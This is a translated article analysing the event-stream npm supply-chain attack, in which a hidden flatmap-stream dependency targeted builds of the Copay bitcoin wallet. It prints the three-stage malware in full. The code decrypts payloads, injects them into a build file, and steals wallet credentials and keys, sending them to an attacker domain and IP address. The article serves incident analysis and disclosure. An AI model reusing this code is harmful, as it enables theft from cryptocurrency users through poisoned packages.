The story of the outrageous ease of hacking the infrastructure of modern software development

Original author: Jarrod Overson
  • Transfer
At the end of October, a problem was reported in the extremely popular nodemon Node.js tool. The fact was that the console displays the warning as follows: DeprecationWarning: crypto.createDecipher is deprecated. Such outdated alerts are not uncommon. In particular, this message looked quite harmless. It did not even relate to the nodemon project itself, but to one of its dependencies. This trifle could well have remained unnoticed by anyone, since, in many cases, such problems are solved by themselves. About two weeks after the first mention of this problem, Ayrton Sparling checked everything and found out that the reason for the warning was a rather deep new relationship

image

. The message came from a strange code snippet at the end of the minified JavaScript file, which was not in earlier versions of the library, and which, from its later version, was deleted. Ayrton's research led him to the popular event-stream npm package, which is downloaded about two million times a week, and until recently was under the control of an open-source developer with a good reputation.

A few months ago, event-stream control was transferred to another person, a little-known user who asked, by e-mail, about granting him the right to publish the package. This was done legally. Then this user updated the event-stream package, including the flatmap-stream malicious dependency in its patch version, and after that he published a new major version of the package without this dependency. Because of this, he wanted to make the change less noticeable. New users, who are supposedly more likely to be interested in dependencies, would install the most recent version of event-stream (4.x while writing this material). And users whose projects depended on the previous version of the package would automatically install the infected patch version during the next execution of the command npm install(this takes into account the common approach to setting up versions of packages suitable for updates).

Incident details


The malicious flatmap-stream code was configured to work with a data file, which, apart from some lines, was very trivially obfuscated, contained two encrypted fragments, which could be decrypted only if the password was known.

! function() {
    try {
        var r = require,
            t = process;
        functione(r) {
            return Buffer.from(r, "hex").toString()
        }
        var n = r(e("2e2f746573742f64617461")),
            o = t[e(n[3])][e(n[4])];
        if (!o) return;
        var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
            a = u.update(n[0], e(n[8]), e(n[9]));
        a += u.final(e(n[9]));
        var f = newmodule.constructor;
        f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
    } catch (r) {}
}();

Let's call this code snippet Payload A. It searches for the password in the environment variable npm_package_descriptionset by npm. This environment variable contains the root package description, which allows the malicious code to affect only the specific target package. Smart move! In this case, the package was the Bitcoin wallet client application Copay , and the password for decrypting the malicious code was the phrase A Secure Bitcoin Wallet (this was found out by the GitHub user maths22 ).

After the code Payload Asuccessfully decrypted the first piece of data, the code we called here was executed Payload B.

/*@@*/module.exports = function(e) {
    try {
        if (!/build\:.*\-release/.test(process.argv[2])) return;
        var t = process.env.npm_package_description,
            r = require("fs"),
            i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",
            n = r.statSync(i),
            c = r.readFileSync(i, "utf8"),
            o = require("crypto").createDecipher("aes256", t),
            s = o.update(e, "hex", "utf8");
        s = "\n" + (s += o.final("utf8"));
        var a = c.indexOf("\n/*@@*/");
        0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() {
            try {
                r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)
            } catch (e) {}
        })
    } catch (e) {}
};

This code checked to ensure that the script would be run exclusively with a specific command line argument, with something that matches the pattern build:*-release. For example, it could look like npm run build:ios-release. Otherwise, the script was not executed. This limited code execution to just three scripts for building projects used in Copay. Namely, we are talking about scripts that are responsible for building the desktop version of the application and its versions for iOS and Android .

Then the script looked for another application dependency, namely, he was interested in the file ReedSolomonDecoder.jsfrom the @ zxing / library package . The code Payload Bdid not launch this file. He simply injected code into it Payload C, which would have caused the code to be executed in the application itself, when loadingReedSolomonDecoder. Here is the code Payload C.

/*@@*/
! function() {
    functione() {
        try {
            var o = require("http"),
                a = require("crypto"),
                c = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----";
            functioni(e, t, n) {
                e = Buffer.from(e, "hex").toString();
                var r = o.request({
                    hostname: e,
                    port: 8080,
                    method: "POST",
                    path: "/" + t,
                    headers: {
                        "Content-Length": n.length,
                        "Content-Type": "text/html"
                    }
                }, function() {});
                r.on("error", function(e) {}), r.write(n), r.end()
            }
            functionr(e, t) {
                for (var n = "", r = 0; r < t.length; r += 200) {
                    var o = t.substr(r, 200);
                    n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"
                }
                i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)
            }
            functionl(t, n) {
                if (window.cordova) try {
                    var e = cordova.file.dataDirectory;
                    resolveLocalFileSystemURL(e, function(e) {
                        e.getFile(t, {
                            create: !1
                        }, function(e) {
                            e.file(function(e) {
                                var t = new FileReader;
                                t.onloadend = function() {
                                    return n(JSON.parse(t.result))
                                }, t.onerror = function(e) {
                                    t.abort()
                                }, t.readAsText(e)
                            })
                        })
                    })
                } catch (e) {} else {
                    try {
                        var r = localStorage.getItem(t);
                        if (r) return n(JSON.parse(r))
                    } catch (e) {}
                    try {
                        chrome.storage.local.get(t, function(e) {
                            if (e) return n(JSON.parse(e[t]))
                        })
                    } catch (e) {}
                }
            }
            global.CSSMap = {}, l("profile", function(e) {
                for (var t in e.credentials) {
                    var n = e.credentials[t];
                    "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {
                        var t = this;
                        t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))
                    }.bind(n))
                }
            });
            var e = require("bitcore-wallet-client/lib/credentials.js");
            e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {
                var t = this.getKeysFunc(e);
                try {
                    global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\t" + this.xPubKey))
                } catch (e) {}
                return t
            }
        } catch (e) {}
    }
    window.cordova ? document.addEventListener("deviceready", e) : e()

Code Payload Aand Payload Bis designed to run in an environment Node.js, the assembly of the project server, but Payload Cis designed to perform in an environment reminiscent of the browser, under the management framework Cordova (previously - the PhoneGap ). This framework allows you to develop native applications for various platforms using web technologies such as HTML, CSS and JavaScript. Copay client applications (as well as forks of this project like FCash), designed for different platforms, built using Cordova. It is on these clients that the attack is aimed. These native applications are designed for Copay end users who manage their bitcoin wallets with them. It was these wallets that interested the intruder. The script sent the stolen data to copayapi.host and at 111.90.151.134.

Disappointing conclusions


Developing what we just talked about is not an easy task. This hacking required serious research and considerable effort to conduct an attack. The attacker probably also had backup options that he would use if he could not get control of the event-stream package. Considering how the attack was organized, the assumption seems to be plausible, according to which the attacker was initially aimed specifically at Copay, and not just gained control of the popular library, and then he thought about what he should do with it. The popularity of event-stream suggests that an attacker had an easy way to access important computers in hundreds of companies around the world. Fortunately, the threat was quickly discovered and neutralized, given how long it could have been unnoticed,

Let's make a list of the reasons that led to the above incident:

  1. The application (Copay) was built on the basis of many different dependencies, and the tree of its dependencies was not blocked.
  2. Even considering that the dependency tree was not blocked, the dependencies were not cached, they were loaded from the repository at each build of the project.
  3. Thousands of other projects depend on the event-stream, they use the same or similar configurations.
  4. The one who supported the library, on which thousands of projects depend, stopped working on it.
  5. Thousands of projects used this library for free. At the same time, it was expected that they would be supported without any material compensation.
  6. The one who supported the library handed control over to the unknown just because he asked him to do so.
  7. There were no notifications that the project changed the owner, and all the same thousands of projects simply continued to use the corresponding package.
  8. In fact, this list is endless ...

It is terrible to even think about the harm that could have been caused by hacking. From the event-stream, for example, depend on very serious projects. For example - Microsoft Azure CLI . Those computers on which they are developing this program, and those computers on which they use it, have also become vulnerable. Malicious code could easily get on those and others.

The problem here is that a lot of software projects are built on the basis of what people have done, from which they are expected to work for free. They create useful programs, they are engaged for some time (or maybe they just make them publicly available and everything ends with this), and they are expected to maintain their developments until the end of time. If they do not succeed in this, then they either stay idle, ignoring references to them or reports about vulnerabilities in their projects ( guilty!), or simply give their projects to other people, hoping that they can leave and no longer get involved in it. Sometimes it works. Sometimes not. But nothing can justify the vulnerabilities that, due to similar phenomena, appear in software. By the way, even the detection of a problem with the event-stream, its research and elimination, was mainly done by open-action volunteers, whose work is not paid.

So many different people and organizations are relevant to what happened, that the search for specific culprits does not make much sense. Open Source is seriously ill, and the larger this phenomenon becomes, the higher the probability of disasters. Considering the destructive potential of the incident considered here, it is fortunate that the attacker's goal was only one application.

Similar issues are not limited to Node.js or npm. In related ecosystems, there is an equally inappropriate high level of confidence in strangers. This has something to do with PyPi in Python, RubyGems, and GitHub as well. Anyone can publish in the aforementioned services, without any notification transferring the management of their projects to anyone. And without it, modern projects use such volumes of someone else's code, that its careful analysis would permanently stop the work of any team. In order to meet the tight deadlines, the developers set what they need, and the teams responsible for security and automated code checking tools simply do not keep pace with the rapid development of constantly changing programs.

Dear readers! How do you feel about the recent incident with event-stream?




Also popular now: